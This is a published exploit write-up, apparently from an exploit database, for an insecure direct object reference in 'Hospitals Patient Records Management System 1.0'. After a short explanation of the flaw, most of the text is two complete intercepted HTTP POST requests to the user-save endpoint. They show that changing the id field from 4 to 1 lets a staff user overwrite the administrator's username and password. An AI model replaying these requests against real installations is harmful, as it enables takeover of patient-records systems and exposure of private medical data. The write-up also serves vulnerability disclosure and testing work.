Hospitals Patient Records Management System 1.0 - Account TakeOver exploit

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## https://sploitus.com/exploit?id=EDB-ID:50631 # Exploit Title: Hospitals Patient Records Management System 1.0 - Account TakeOver # Date: 30/12/2021 # Exploit Author: twseptian # Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip # Version: v1.0 # Tested on: Kali Linux 2021.4 *Insecure direct object references (IDOR)* Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input.Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system. *Attack Vector* An attacker can takeover the Administrator's account *Steps of reproduce:* Note: in this case, we used two users, user1 as a staff with user id '4', and admin as an Administrator with user id '1'. ===================================================================================================================================== Step-1: Log in to the application using user1 account,then on the dashboard navigate to 'My Account' http://localhost/hprms/admin/?page=user ===================================================================================================================================== Step-2: Modify the username,lastname and password,then let's intercept the request using burpsuite: POST /hprms/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239 Content-Length: 806 Origin: http://localhost Connection: close Referer: http://localhost/hprms/admin/?page=user Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="id" 4 -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="firstname" user1 -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="lastname" admin -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="username" admin1 -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="password" admin1 -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream -----------------------------17632878732301879013646251239-- ===================================================================================================================================== Step-3: Change parameter id '4' to id '1' POST /hprms/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239 Content-Length: 806 Origin: http://localhost Connection: close Referer: http://localhost/hprms/admin/?page=user Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="id" 1 -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="firstname" user1 -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="lastname" admin -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="username" admin1 -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="password" admin1 -----------------------------17632878732301879013646251239 Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream -----------------------------17632878732301879013646251239-- ===================================================================================================================================== step-4: Click 'Forward' on burpsuite. Now user1 is a Administrator.